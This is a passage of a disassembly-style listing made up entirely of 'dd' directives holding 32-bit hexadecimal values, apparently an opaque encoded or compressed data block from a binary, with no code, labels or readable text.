		dd 2FBEADEBh, 281FAEA9h, 5ACB4A4h, 69112A5Ch, 3BF00C10h
		dd 8F48E606h, 607C0074h, 0FCA6B0D9h, 9CCD021Fh,	20EC932Eh
		dd 8D5F8850h, 0AFF21043h, 5075FFD0h, 80E3ACC3h,	78ADF11h
		dd 3166C6A4h, 8E90B0F8h, 9838A826h, 32A80D5h, 9BC628E6h
		dd 44460085h, 0A3295910h, 8600600Bh, 0B0183CC2h, 2437C61h
		dd 15D414C8h, 6049F23Eh, 189C29ABh, 4798116h, 0AEEC0EC0h
		dd 0E9A9F991h, 0BEA9F018h, 8AF57F00h, 8248AEB3h, 5899001Ch
		dd 40E7C731h, 90032A97h, 838CA760h, 0C2F2B055h,	6B2E09F0h
		dd 0B880237Ah, 3BBC4968h, 1939AEE2h, 4098095h, 3CB34120h
		dd 9C744CD7h, 0EFEAF500h, 59C347C6h, 0E4C09E00h, 818D4C4Bh
		dd 0CFBE0579h, 834D44C4h, 0E8B0534Dh, 0BF60A1B6h, 0FEF8FB18h
		dd 1FB0C0F2h, 0DED48BE9h, 4D662900h, 973412EDh,	0F73000D3h
		dd 0F1BFF38Fh, 20003A7h, 602975F9h, 0BCCF83h, 109C3AE6h
		dd 0C46F1568h, 0F01F2898h, 97835A18h, 0E00544C3h, 58F713h
		dd 0A6A96499h, 0A722D74Bh, 6E094809h, 964F0038h, 7177E30Bh
		dd 34029D59h, 84F044A4h, 2DBB8800h, 0DA0D6E06h,	1D9B0015h
		dd 6BF6E5C7h, 0EF01D4A2h, 0BC23C3E1h, 21EC18A0h, 840D004Dh
		dd 0AB945743h, 2513A4FAh, 0C847262Bh, 9124D5F2h, 928184E2h
		dd 0D8C631F9h, 6D13FC43h, 0C4475860h, 0B040FF4Ah, 0C6EEFDh
		dd 8E960548h, 30290D51h, 726473Fh, 9CFCC057h, 63DE6780h
		dd 0AB7D06h, 1EC1249Eh,	0FE61A834h, 9C00148h, 80920A64h
		dd 5D2EB9D8h, 0D7233E27h, 17DDAA84h, 5E3C923Ch,	0C445145Ch
		dd 13A88E0h, 894399E6h,	0E34EB0D1h, 12661930h, 0D06113h
		dd 6B05C4C7h, 0CABC7B06h, 3F740D78h, 81731100h,	0ED1C1AD6h
		dd 44B40A5Eh, 0E89158h,	2C2FD64h, 20797A03h, 0E21DA825h
		dd 0E4914174h, 782C68E9h, 722E690Ah, 8190828Ch,	0D48F9480h
		dd 52C9FC40h, 4060F86Eh, 93B79221h, 950200C3h, 0E0E1445Dh
		dd 0F8A08C85h, 820F79BBh, 0A034FF6Dh, 87B8FD51h, 0C138C004h
		dd 9D0990D3h, 716BB00h,	643AA1CEh, 0C517B8CAh, 9EE510h
		dd 8F4E21DBh, 34F5C36Ch, 0DE4B0FF0h, 87FDA849h,	0F060C988h
		dd 0C32F7576h, 0AB133211h, 7A961AD8h, 0AFCF2400h, 692CE4ACh
		dd 806507EAh, 0C0DF02A4h, 14DBB395h, 24C19A2Ch,	73990901h
		dd 0E9C496D4h, 819B007Bh, 46132E05h, 6E2526F4h,	0CF38C1FDh
		dd 0A670BC41h, 0A4539995h, 974085CFh, 0CEC6FD25h, 130FBD73h
		dd 807207F4h, 4F894044h, 0A5790008h, 0AA2CA3EBh, 9B05D0BAh
		dd 819D6BF0h, 98D00485h, 7103B784h, 0CDA50772h,	4B564AD4h
		dd 0F60A4C02h, 0DB4D64E0h, 2E140400h, 961723BFh, 1AB800B4h
		dd 1FE4CD9Eh, 7F384270h, 0D9D205F6h, 9400A419h,	9F29400Bh
		dd 33571869h, 987ED895h, 17305CE8h, 0A8A412C6h,	2EA29062h
		dd 0F08EAA3h, 6E00C12Fh, 0DCFB2163h, 58100209h,	0E8310032h
		dd 0AB8647h, 0EE7DE566h, 0F4C7E70Ch, 46389577h,	0D4780EC5h
		dd 218D0497h, 5328A0h, 91CDEAB7h, 0BAB07F8Ch, 5F22B61Ch
		dd 84F13200h, 1E283D10h, 402A873Fh, 56B30A6Bh, 0C800169Eh
		dd 9667F612h, 277418Bh,	0F74D7551h, 0B4630B61h,	78565E8h
		dd 0E63CA50Bh, 4F04A257h, 977DE075h, 5DA30ECEh,	71F6141h
		dd 0C148AADFh, 303E2D20h, 212559FDh, 0C2286171h, 0F003C03Ch
		dd 0CA84EB35h, 0FA81100h, 0BB454DFEh, 617E69h, 3E23528Ah
		dd 0EF5C2BC3h, 75F85A00h, 0C942A79Ch, 0C62E00D3h, 81BFCE54h
		dd 2C13B0E7h, 3CB07B52h, 4114B6DBh, 6445F24Ch, 3400A748h
		dd 1567BA75h, 39BCCBEh,	0D192D903h, 79C02F7Ah, 28908AADh
		dd 0F81FBA2Ch, 192DEF80h, 0A77713h, 0A257CBEEh,	0AA602CD0h
		dd 0B9505374h, 8300E6F8h, 0E004EF2Ah, 0EA5E1EE5h, 0CCA71FD2h
		dd 575F4EA3h, 1D3B6580h, 0B838F7C2h, 0ED8E1399h, 1AA69F0h
		dd 13FDB4F4h, 30DABB6Eh, 5600C41Ah, 3617F4Bh, 46518h, 87477593h
		dd 5589E374h, 8C0D45Eh,	12590611h, 4040BBA1h, 9C0B651Ch
		dd 3D3FB969h, 98D81FA4h, 46E314C0h, 93773Ch, 27435305h
		dd 3DDD19C0h, 64F5AA00h, 2A3459CCh, 641F5C5Ch, 9181AF09h
		dd 9417BC68h, 9964224Ch, 0E4398498h, 0F61E5098h, 19D09205h
		dd 7780FAE8h, 35F11F1Ah, 0D0B06872h, 0DAF04DA8h, 3464FB00h
		dd 5D77A97Ch, 99B00008h, 0BF59269h, 5B078822h, 579E45C4h
		dd 0F4AC3894h, 0FC805C3Dh, 54A809C3h, 2C001BDAh, 0C2CBCC79h
		dd 0E84F637h, 0A933BA13h, 2543A6C0h, 47E2C32Fh,	2E7393Ch
		dd 0C6529530h
		dd 5B2CE034h, 0A28A0038h, 3BA73A50h, 670B7985h,	8F365EFFh
		dd 0FE87C01Ch, 4BA45577h, 1D54C33Eh, 806EA6E8h,	9F0DF303h
		dd 0E8921FA3h, 3EB8DCBh, 964DFF2h, 23F8C7AAh, 1B0052FEh
		dd 0B60B3AE5h, 0B8053011h, 0E6E7003Ah, 0F5E060FCh, 6377FEAEh
		dd 7EA2400h, 0CB397D80h, 68DF0381h, 9C1F3444h, 0A6493Eh
		dd 0CAE9637h, 0A0855Bh,	3E3FB9B0h, 46A7B29Bh, 894BD401h
		dd 92D0B536h, 2C7712D8h, 402482A9h, 0E4788AE9h,	0AC070C00h
		dd 0F50D1221h, 0F8F2001Bh, 0EC9D6A05h, 7A01E3C7h, 32BE3311h
		dd 22E4FD3Fh, 0F513385Bh, 8BA92Eh, 0D16D7819h, 0FD001580h
		dd 5CA8FFB1h, 41AF47h, 7FB28E4Ch, 2F12E20Dh, 78AEFA00h
		dd 912E4E8Bh, 0B6E60016h, 0DD6A5DACh, 5237561Fh, 7BC05068h
		dd 0F2DD49Fh, 646392CBh, 5ABFCE0h, 4712E7E5h, 18F0A3E8h
		dd 28E95E03h, 16779DD4h, 55DAFF01h, 770AB2ADh, 0FD5E721h
		dd 0E2001C3Ch, 0C0AE8A22h, 0A4011CCDh, 6D060B16h, 54F4E12Ch
		dd 0EFBC028Dh, 59ED604Eh, 0A26A0B40h, 5A4E1048h, 78650888h
		dd 98058409h, 0A8DFE282h, 7E1F00ADh, 0F4180DAh,	0D747A41Fh
		dd 2E5ADFE8h, 44E038D7h, 20A93Ch, 4D4A928Eh, 869DDE9Ch
		dd 4900097Fh, 0F6E47BCFh, 65CBC74h, 78438898h, 3205484Dh
		dd 0A2891547h, 0B04CB0h, 0DDFC35D5h, 0AD67DFC6h, 755AE674h
		dd 77C48CCh, 0F950F426h, 2807E083h, 0C6140C6Dh,	0F65CC0h
		dd 928B6890h, 3B5F8BEh,	0ADC4F415h, 61F0ABCAh, 8100D09Bh
		dd 5663E18Fh, 50C3C6h, 0BA8D06A6h, 0BB12C526h, 0FCF32F00h
		dd 0D2530822h, 0F6FE6DFh, 9F7E54CCh, 76DB62A0h,	0B300BF34h
		dd 5230C198h, 592B16Bh,	9AB2A4DFh, 67FB80C5h, 8B004EF2h
		dd 1C365D29h, 1E54FAFh,	880A28CBh, 20F7BDC3h, 0E800117Bh
		dd 0D7CFF021h, 13A490h,	77B17075h, 2DA3D1A5h, 1C7B0F09h
		dd 4C501Bh, 220D9DF9h, 6B072314h, 8327A801h, 956CCC17h
		dd 189A0D8h, 75DDAE5Dh,	52F6433Dh, 105ECF9Ch, 19D700BCh
		dd 0FA4CBA12h, 2A8007EBh, 22F27CBDh, 0C8829336h, 0F080AC3Dh
		dd 26170297h, 0EB3C291Eh, 80FCE8D4h, 1A95899Fh,	4C7A000Ah
		dd 0FECD32F0h, 88000408h, 85E2C99Eh, 0FC6BF443h, 29E801C7h
		dd 0B8F9954h, 0F6B57059h, 3AF48574h, 0BCAC4A00h, 0FFF7BE5Dh
		dd 2720C3EDh, 0B7B0D443h, 0CD00C767h, 39097CD5h, 0B19C8Dh
		dd 484CD7B8h, 0A5185DDFh, 9869AD3Fh, 0C5E17984h, 0E66D05C1h
		dd 40DF274Ch, 61998280h, 57FE9EB7h, 5E433B1Fh, 0DB03D9A4h
		dd 0BF27097h, 2C948228h, 59007CF4h, 36AE90ABh, 9052FEDh
		dd 0BFEB9A60h, 0DE951100h, 4027A11Eh, 0E3B000B7h, 5713CB14h
		dd 0D4867CFh, 0A8EE03A5h, 0F1D3A08Ah, 0C7E53295h, 774CF8h
		dd 0FFA171DAh, 0AF6AA72Dh, 9B58F900h, 0AA26B1DFh, 0CF3B3895h
		dd 0F3B7E980h, 6314D0A0h, 0D7CE6100h, 0BBAFA145h, 415A035Fh
		dd 0A991BC10h, 71701E2Eh, 40C6EB0Fh, 9D8F4D14h,	5E3C48DBh
		dd 668F043Ah, 4180ED7Eh, 0E67DD7C3h, 0A6FB2F00h, 59BBAC7Bh
		dd 788DEC71h, 5A730034h, 0C4F1C66Ah, 0A00815Ch,	0AF9D1A10h
		dd 509107D4h, 0AF8080C3h, 91FC8604h, 0ED00108Bh, 757E824h
		dd 7E02A2h, 89148093h, 0FCC5F137h, 0CD235118h, 88EB2628h
		dd 0FE887BD6h, 2535883Dh, 89ECDC88h, 44C908EAh,	2284193Ch
		dd 0BE42E1B8h, 9D086121h, 0E309882Ah, 919D9290h, 24611133h
		dd 21E93211h, 0C8223CA6h, 5B284550h, 847AE544h,	6F75BB22h
		dd 208029E9h, 5D3861D1h, 0F545FA00h, 8CCF4C33h,	0EC654F27h
		dd 0B2AB0023h, 1B11E34Eh, 60890781h, 0D0FD78E7h, 693F967Fh
		dd 0AEDBE600h, 0D27B585Ah, 0A190038h, 74F91E1Ch, 0A30046F7h
		dd 0AB0DCFEDh, 7F1108h,	8CC05DC4h, 0ECA22E0Ch, 39704400h
		dd 0C820B143h, 563F0B92h, 0F4807EFEh, 365AB7ABh, 0E693E11Eh
		dd 0D900D75Ch, 0BDD8CA94h, 0B4DE004Dh, 4A1557F7h, 0EB015BABh
		dd 1170E0FCh, 2520FA3Eh, 0AD8BF7Ah, 4B006D72h, 0C2860B96h
		dd 793EA85Dh, 658D390Ah, 0D2372D05h, 32E7C054h,	670026DAh
		dd 6C4FF710h, 697EE7h, 728CFDCEh, 8F322BB1h, 0C76F8706h
		dd 648AA5Ah, 4C0D2CC6h,	0CBF611A4h, 2B63B000h, 0D07B1143h
		dd 72DE0045h, 0CEB31D1Eh, 4B2F6D46h, 0A95848h, 0CD206BC2h
		dd 0F8ADD7FBh, 6D5F981Fh, 42E17B00h, 0C035AF4Eh, 0CA2BBB10h
		dd 4B0367A5h, 9C132AE5h, 85480512h, 8097C26Dh, 0DC2D424Bh
		dd 0D56FB60Fh, 0CB7BA070h, 0F86B5020h, 296A0FC8h, 2E47ABAFh
		dd 25C0D0ACh, 7400DBEBh, 882C7E19h, 7F7C2F0h, 10C45C04h
		dd 0E0A74782h, 0BB4F620Ch, 17EA6401h, 6BA0ECDAh, 96BDB840h
		dd 574C1EBCh, 5089405Bh, 0A8777216h, 11C2181Eh,	9E32E640h
		dd 3A6108h, 14176B96h, 0C9153728h, 0A4C82300h, 34780D05h
		dd 0DE160749h, 0B0A8EB01h, 3B224BFBh, 9473027Dh, 0DB11C000h
		dd 3DD89149h, 40631F2Fh, 584B87B3h, 9A0CEC1h, 0ECA776D6h
		dd 0E1D01F00h, 103175E8h, 0D7860258h, 34F03BF5h, 0B377FD60h
		dd 832A8D03h, 8F9AE972h, 296542D1h, 0EE9420h, 60B1EB08h
		dd 8B3D79DFh, 0D2C46C02h, 8073BDC6h, 0DC219BA4h, 0A14600E1h
		dd 5A82AE8Dh, 3500A517h, 8495CAF1h, 1590BD97h, 0C4CB85D0h
		dd 6D07C939h, 91F5675Fh, 60F79FB5h, 4C00E420h, 1560710h
		dd 0B065F304h, 297900B7h, 0A4B1627h, 9B3C4E11h,	0FD11E02Ah
		dd 0E81B3Dh, 63257B41h,	0CD46F3ADh, 695A2F00h, 4D6D5848h
		dd 0C09175h, 0D4A920D1h, 62182CFFh, 889077E9h, 6C810F38h
		dd 0FE45B5F0h, 40E800D7h, 0A271E8F3h, 0B9AF8C03h, 376AE44h
		dd 0A5F57030h, 280FD43Eh, 33380h, 3A0549D7h, 135000E1h
		dd 350F4B31h, 0FE00827Ah, 25A9BADDh, 760ADFh, 6D65ADD1h
		dd 6CAB0C24h, 97C8D814h, 2FB600FCh, 73B52832h, 45A8005Eh
		dd 0DC3C1E06h, 0B9007AACh, 28BC1F97h, 0FAB53DD3h, 8031EE52h
		dd 55E02DC5h, 0B392D200h, 15EC7BF8h, 7973DCh, 138A4C05h
		dd 10F447C1h, 5BF94B00h, 0F5CF177h, 3E55008Bh, 895E0CE1h
		dd 410487F5h, 0A4E074FAh, 97611D02h, 0EF50D900h, 82C053Bh
		dd 8079FF70h, 0EADBD777h, 2000FE78h, 4987483Ah,	0F2EC064h
		dd 0BFDACC37h, 0F8EC8C22h, 5D0E7240h, 0AEDD4900h, 93BDE11Ah
		dd 282E7663h, 0D47204h,	8453B61h, 0BE12CBECh, 0DF036407h
		dd 0E6906A26h, 7EF6BBCCh, 0D4512609h, 171E94h, 62EE3344h
		dd 630E856Dh, 0F7377491h, 80755F09h, 0DF535CF1h, 0D55B1FD7h
		dd 0C72EC0F4h, 0AE5E89B2h, 0FA21EC00h, 2546869Dh, 0A95A3CE0h
		dd 9CB2DE01h, 0E8AFF9B0h, 0F600DDF4h, 4FB9CD1Eh, 337E5Bh
		dd 388CF854h, 2CB5C192h, 5E1A0700h, 0C3B47A3Eh,	0F0270F65h
		dd 8C1A30Fh, 0C0EA7422h, 9C00A052h, 2C2335CAh, 38D39F2Dh
		dd 6E007D79h, 700E41C2h, 9203033Bh, 76F31B85h, 0FE42D081h
		dd 7C28009Eh, 3AFBAF47h, 0A95C8A8Eh, 0E9C90006h, 0A8E5DB30h
		dd 69FC00B3h, 973D5158h, 0F0004EC2h, 0A2F1FEB4h, 26412F60h
		dd 0B86720h, 26FC8036h,	0DFE4AD0Ch, 1A19B300h, 0A2D7C662h
		dd 3AF62451h, 331B0078h, 0E914CD7Bh, 1019AE02h,	40D79B65h
		dd 90DE9024h, 909A5C52h, 2374A16h, 94FF8478h, 4405E487h
		dd 20F8903Eh, 2B000FD0h, 83B28E7Ah, 134AA9CFh, 7609151h
		dd 10B903E8h, 1FC7B1A3h, 0FCB48h, 0CEED5373h, 0CA52ADh
		dd 70A09F6Fh, 0BD96B897h, 0F700BB7Dh, 0F21ACD5Fh, 77DD5Eh
		dd 0A9413483h, 10C11988h
		dd 2AADE00h, 0A369FFA5h, 45AC1F36h, 40E81338h, 0EF4E3A0Ch
		dd 61009F42h, 0F3C7F5Eh, 530569h, 0D89D2B1Bh, 35F274E7h
		dd 8A6CDB07h, 97E2A5AFh, 27941F8h, 0E1FE7060h, 0C290CCh
		dd 0D34E831h, 0B8994BF0h, 9EE4D300h, 788C37BCh,	304C60D1h
		dd 2974172Eh, 5E238100h, 0A24A04CDh, 7E7841h, 0B8A32050h
		dd 5A53A9B2h, 2D883B00h, 0CCCD5686h, 2C70B018h,	609434EAh
		dd 3BA2FEF8h, 0CD92493Eh, 365001C8h, 383EDF88h,	0FC91CCh
		dd 0AF1080B9h, 7B7DD3D7h, 1F656900h, 0BF3C7977h, 39DCA035h
		dd 0D4F200A6h, 7C67DEFh, 3E00DE55h, 849C2F57h, 92E47Fh
		dd 82A8B387h, 44EE48B1h, 0F48ECC00h, 7F6D604h, 0ADDC00D4h
		dd 0BE1B2A08h, 620025C4h, 4BA0F0B9h, 2E8F5Bh, 15111671h
		dd 0E62B4014h, 20A5E20Eh, 33E040AFh, 7348ADBh, 99CD52D5h
		dd 0F809E1Dh, 54825544h, 0A5A87400h, 0E4BD8F43h, 60141F16h
		dd 3686413Eh, 507CF263h, 0FFB2F90h, 8CF5A43Ch, 26CFD4B5h
		dd 93E6C2h, 2676F272h, 0C0416745h, 0AFD2CB00h, 0A05E7F44h
		dd 34DE0E51h, 24603B56h, 0BA1A0D41h, 0D0B6153Ch, 261D83A4h
		dd 0B42AC1F8h, 8049113Eh, 713C9527h, 424661h, 0D1DFBFE4h
		dd 0F92ACBAEh, 0BBB90100h, 0EA6B5AA8h, 49DD00BEh, 0C98E5E93h
		dd 10E102Dh, 0E0690821h, 0DDF9BCE6h, 48BE0191h,	0BD51D484h
		dd 1015ECA4h, 0F7D813Ch, 809F339Eh, 0AF973E4Dh,	0A4BF0041h
		dd 61D31045h, 1A002DDFh, 4C6CEEE7h, 322C3Fh, 62F71BFEh
		dd 0A79917EDh, 3DD73C16h, 9B306902h, 0E9844018h, 316C0041h
		dd 1A9FBEFEh, 0B91C8807h, 0A9C01D8Ah, 2D27AE80h, 0FC5900A3h
		dd 0CBCF26A7h, 1AECD815h, 8D421100h, 0C16DC368h, 0F66C2833h
		dd 1CA558F8h, 0B345710Fh, 0DBEFC240h, 0F079744h, 8EDE02AFh
		dd 822EDFB3h, 0C0BF609Ch, 509000D8h, 17B344D5h,	6D2E53DCh
		dd 130E1C62h, 33F3A473h, 98955483h, 24EEA642h, 8F949F43h
		dd 328D163Ah, 0E220E820h, 740D540Eh, 0F6556027h, 2E3984D3h
		dd 0A4D83Dh, 0BC0A1CFAh, 29FE5A96h, 0DF0077E2h,	62653A74h
		dd 0A26397h, 0EB3C4725h, 0AB8451CDh, 0F1B24600h, 28EE9A16h
		dd 0D68A0054h, 0C5396E3Dh, 0A4A015F3h, 40766D05h, 1BF6B3Dh
		dd 542CA7DEh, 45F8BA9Ch, 53C5000Ch, 5034070Eh, 9B093288h
		dd 809C316Ah, 267E9593h, 0C98707CCh, 0B7814734h, 0BB450Bh
		dd 57215DA4h, 7200EE28h, 183AE24Eh, 10854Ch, 31A2528Ah
		dd 0FB54781Fh, 939A2500h, 4ECACBA0h, 44D40E29h,	0A834DF8Dh
		dd 0F97A880Bh, 6C1EACA0h, 7F267DDAh, 0A780145Dh, 1B06BE25h
		dd 4DCB0310h, 6E15A5D0h, 0DE891E00h, 87FBD348h,	0A2B100E4h
		dd 0DA8CFABAh, 24121296h, 3400ECD4h, 1688CE7Ah,	0E7B48006h
		dd 4047EF3Ch, 309D0055h, 6342FB85h, 9C77CB4Eh, 6EA0CC5Fh
		dd 1972BCh, 5D44B7FEh, 0DAD7E878h, 7B96A000h, 7106C56Eh
		dd 7237FE39h, 0AA111684h, 905610E4h, 7900D09h, 59973400h
		dd 0FB00B825h, 0F0D808EBh, 19045155h, 0F81BBDA7h, 506120B1h
		dd 6635907h, 0EBC02781h, 6029BAC6h, 88FBA867h, 0BD0A1623h
		dd 9887E506h, 8943C89Eh, 8C3551D8h, 2CB0C01Fh, 0BE82C949h
		dd 87BC88C0h, 50492FCh,	98F770F4h, 40028067h, 63E0B090h
		dd 56DF6200h, 0D709AAE9h, 4AA500BCh, 0E2ED40BDh, 35F0CF29h
		dd 507CB000h, 52DB068Eh, 2E57006Dh, 23618DD4h, 837D2669h
		dd 55B260FDh, 2DC7A101h, 445F982h, 0E3A5A440h, 0B5A903BEh
		dd 2EDA7F37h, 2B0652B0h, 4903C101h, 80753A5Dh, 508CE0h
		dd 0B9AA79A3h, 33DCC73h, 0F0C5F0Ah, 0BD008423h,	0CA0DC855h
		dd 0D67B0F4Ah, 3E4994DFh, 0C42B007Fh, 76C933A1h, 0A308019Fh
		dd 89926F8Ah, 3B282C53h, 3F740130h, 280F9DA1h, 50181CF8h
		dd 264594A6h, 400CAF79h, 282D2687h, 6E817501h, 307B89B9h
		dd 7596F730h, 0A8A442h,	153C4164h, 6C23ED6Ah, 8A4B8601h
		dd 92DA1942h, 0EA1DCCh,	0DD06D249h, 67407890h, 4B7C20EBh
		dd 0DA791578h, 8863D8C0h, 4CFC7D14h, 0C503E46Ch, 3B7CF78Fh
		dd 0F2241100h, 0DEAA01F1h, 87580010h, 4FE082D4h, 6515F03Eh
		dd 24F8B25Ah, 201108CCh, 82000D4Ch, 0D7AA242Bh,	0E3006F1Dh
		dd 5749B2C5h, 6F8805Dh,	8651EC19h, 140141EAh, 0CE6747D6h
		dd 7034638Ah, 0EDB51EA3h, 655880F0h, 2C418ED3h,	30BF6Bh
		dd 0CF1DBCCh, 0FAE61DB4h, 0FFC6605h, 0E382E81Fh, 2CC037ABh
		dd 0B8007139h, 786A8C1Ah, 5CCBE580h, 0B53AE6DBh, 0F4A9C600h
		dd 353EF187h, 9C14282Ch, 0B303CB00h, 90C3D9h, 2372885Ch
		dd 0B6627E2Eh, 126E9E00h, 1D9BEA45h, 1E380F74h,	0F2839060h
		dd 0F0986424h, 0C50076FAh, 9B45C3A1h, 4165431Eh, 7DB2C830h
		dd 298E5800h, 0BF25FAA2h, 7FA6007Ah, 43F2B9B7h,	0CF3DE781h
		dd 0AFE1001Ah, 0A725CCACh, 41E4255Ah, 8902000h,	9103EE9Fh
		dd 0A4B45D82h, 0F9FFB814h, 0DF2E006Eh, 38D0F3FAh, 6C2C7D02h
		dd 4A0B2473h, 9DF4A11Fh, 58ACF20Eh, 3DD10C55h, 7C30E518h
		dd 51FA613Fh, 0D53100FEh, 4C0DB529h, 0C4003539h, 89CF8897h
		dd 721F3Dh, 638591C3h, 0EBF49671h, 2DFCE059h, 0BE560Fh
		dd 23067924h, 0E0086AFh, 1099B6D9h, 34FC8C6h, 0A4D62DAEh
		dd 0FD550Ch, 60B558C0h,	8B806BE8h, 197300C3h, 0C81C5183h
		dd 0EE3BEA38h, 6B7609B1h, 0A99480AEh, 34DDDBh, 0D020D1FFh
		dd 0A4CEB25Eh, 14B0A200h, 856188EFh, 0DE4E0586h, 1172A83h
		dd 0BDF29FC0h, 2FD80952h, 39AFF2A5h, 3100BED7h,	20604888h
		dd 4D3F65E6h, 189A809Bh, 0DAB54621h, 7B1795Ah, 0A68411BFh
		dd 6C85518Ah, 996EC46Ah, 0E4342700h, 8F67AA39h,	604600CAh
		dd 6313DA12h, 53043AD0h, 32F2100Ch, 13EDF4F0h, 14597AEh
		dd 30CF7B16h, 0EB80D766h, 7C029BFCh, 0D4DCB79Ch, 0E87865h
		dd 0ADB9F452h, 0D7CFFCEAh, 0C0BCC72Eh, 2613BE82h, 8D068B6h
		dd 73F01D1h, 9FDD884Dh,	6CC8DAB4h, 0D30EFFC5h, 0C0F50412h
		dd 0B92A206Bh, 0B83F488Fh, 3D5E6E00h, 4EE8DC94h, 260070FCh
		dd 0EA2FADC9h, 379C8E2h, 6E2A6AD7h, 509F235Ch, 0EB6926F0h
		dd 672D5600h, 4FFAAC97h, 0A2281DD0h, 760CFBA4h,	82F0667Ch
		dd 7A37BC03h, 0F040F141h, 5667E4h, 0E643527Dh, 0F26E45EDh
		dd 77002873h, 752329A4h, 447D8Bh, 3253C619h, 0A77AD4FBh
		dd 0ABDEEC1Dh, 0B865C80Ch, 389A27B0h, 0F066CA0h, 94A8ACDBh
		dd 7BB849D2h, 0DEE57F0Ah, 0B48098C6h, 0D8299972h, 0CE7B00F7h
		dd 1175EAD5h, 87601F7Ch, 0E42461A8h, 0BA5500A4h, 0CD2B1E21h
		dd 0A504E63Ah, 0CF4073AAh, 3A9DA8C8h, 0E0457278h, 620E3654h
		dd 80402534h, 0A1654210h, 6F2A000Eh, 891F38D1h,	67028AE7h
		dd 0B27D4E9h, 9F084B43h, 24DC144Bh, 0A0CCEFF7h,	0CBF60090h
		dd 5ED6DB7Ah, 0C4002B47h, 79E2E526h, 381BB69Eh,	6EA4ADCCh
		dd 0EB8A8004h, 3A28DDF9h, 8D1C8700h, 32D4F0A1h,	5E360038h
		dd 46B33103h, 0E0E68DAh, 20E13063h, 0E4960ABBh,	0B0D97453h
		dd 80910029h, 7EB482AEh, 0AB008838h, 701828A2h,	0E0D055BEh
		dd 26EE0373h, 0A3DA153Dh, 0FB48B3F8h, 0B221B400h, 0AF5CEB9Fh
		dd 1642282Bh, 7D2C01D8h, 0D06628DCh, 0DC62D663h, 9A01E43h
		dd 2E03078Ch, 86FDA78Dh, 0CC81002Fh, 98F8A18Ah,	8F1CE3ADh
		dd 0AEC0B72Eh, 970F25C4h, 0B38000B6h, 4E571B18h, 0C100ABC7h
		dd 0FAE4AE81h, 0EACDBCh, 7351A92Fh, 0ADD74215h,	970CC200h
		dd 557AEB6Bh, 348A00B9h
		dd 0F6046433h, 9D0188DAh, 622106B3h, 0F4C0AD0Eh, 0F7CE0357h
		dd 0CD2F6FCCh, 97F8A490h, 74549C0Fh, 3BE767E6h,	0FBBF7150h
		dd 0F046145Ah, 61FEC5Fh, 5CF68010h, 32FFD7Dh, 0F102E304h
		dd 34F12796h, 3954A9DCh, 1D00232Bh, 0E966F7A4h,	4A00B5E0h
		dd 81571E40h, 52ECAEEh,	32E3472Ah, 0D4A40F1Fh, 7C20A429h
		dd 0F68E28Eh, 93CE2B0Bh, 2FE021D9h, 0C879DD8Dh,	0AD40E700h
		dd 2BBB63B5h, 1C6A5503h, 0E3FE747Ah, 804AF086h,	48440B2Fh
		dd 1C016CA0h, 64390D7Bh, 0F02269D4h, 0AC940EFCh, 3E6982B6h
		dd 0F5937C00h, 51D1ED3h, 23A7335Bh, 9029FCCCh, 3BDF53h
		dd 3A6C11Ch, 2EA4A32Dh,	5718FA61h, 76CC7258h, 0D9A800C3h
		dd 22964BFCh, 0AE38EE84h, 0E33B8964h, 0B3484097h, 46B907DEh
		dd 6F1924B0h, 90BC1B40h, 0D900083Ch, 0A70E5E0Bh, 1D89054Eh
		dd 66D5D1Eh, 0C8DB3280h, 0D0CDA400h, 25EBD28Ah,	93313A4Bh
		dd 0CF99F400h, 3D964E37h, 0AC72D60Ah, 0D200885Bh, 0B6ABFDAFh
		dd 636A7BFBh, 0E662505Ch, 0E4E877F1h, 61037DBCh, 48157AFAh
		dd 0B84E9396h, 2D85CAh,	3DC4D30Ah, 76B7AB9Dh, 0D2FD3400h
		dd 1AAF01F9h, 9E2100F2h, 0D286AE5h, 0CA1F8715h,	1902FBAEh
		dd 60357E90h, 22D081h, 47610F2Ah, 3AD47418h, 0FAC57300h
		dd 0BF7E482Bh, 4EB71CA7h, 0D692003Bh, 0E1F11A09h, 0FBCF4600h
		dd 2004A187h, 0A0570F71h, 126026A4h, 86983CBh, 2C1F2FE0h
		dd 0C5264D4Ch, 0AB283200h, 169346h, 2F3A9F43h, 0EA8195A8h
		dd 663C0D13h, 0B027FC20h, 41513D74h, 0F280473Ah, 0A124951Dh
		dd 0C7009A96h, 0AFA4D34Bh, 0CED11Eh, 0F998A8E9h, 34C171F7h
		dd 5FBFEE02h, 0C09C3B2Bh, 0FA91211Dh, 30351616h, 0A25B0040h
		dd 8062747Bh, 505D2800h, 0B68BAF33h, 0B10103B2h, 8567FE56h
		dd 1C381100h, 877C3CE2h, 772C00F3h, 0FBE10A52h,	0C5006675h
		dd 0C7950936h, 7E7D31h,	55E5CE21h, 59CA5D5Fh, 42D7C509h
		dd 0C2C0A013h, 83EE2Fh,	1F37450h, 1A4C3B80h, 70B13700h
		dd 56D63AC6h, 0C24709D5h, 60002AA4h, 911FB0DAh,	211BE60h
		dd 123B9E9Dh, 42D9654Ah, 75348420h, 947A1A60h, 0E8484100h
		dd 3E1C7792h, 246259FBh, 0BB4CB82Eh, 44D030A5h,	0DC172E00h
		dd 60731CA1h, 2616041Dh, 80EA7FB0h, 0AA751084h,	185D3B2Eh
		dd 0A3636200h, 1C1E3558h, 0C001C734h, 18216F5Fh, 0E5719036h
		dd 3EC49714h, 25F6028Fh, 0E0266965h, 3A375F0h, 0A93F3477h
		dd 87EB182Ch, 0D6095BE8h, 0DE329D05h, 8480D801h, 4E016h
		dd 0F652ECE4h, 4B890DFAh, 446D581Ch, 18DF4A00h,	1C3333Fh
		dd 0DDF11405h, 70E149BBh, 0A4007298h, 229336E5h, 0EBBA75h
		dd 0EF8D0DD9h, 1DA79FBDh, 0B409774Ah, 52806025h, 308900CFh
		dd 0F8851595h, 3C001DD0h, 0B92066FCh, 1F05B20Eh, 4970ECh
		dd 0E2CB0245h, 691D5B23h, 38DFFCBCh, 8DBEF0C0h,	173ACEDh
		dd 0A334DF80h, 20195CC7h, 25005ED8h, 0A28DFBA7h, 9D292012h
		dd 2432CC0h, 9CE8E250h,	0C0C8B030h, 3B7A575h, 7FBADE1Dh
		dd 0FBF8E799h, 0D00A44A8h, 0E437A245h, 0E1589A88h, 306F48CFh
		dd 0E8F3D6C8h, 52022644h, 671121C0h, 24E082CCh,	0AF4CC02Fh
		dd 16B20098h, 4E9D091Dh, 77006F70h, 0E9E23B8Eh,	18223369h
		dd 39A8C70Bh, 711F85B6h, 0DFC7ACA2h, 51B08911h,	4BD822h
		dd 5D816E77h, 56336461h, 0D37DC102h, 0C1C260F7h, 88D4B6C2h
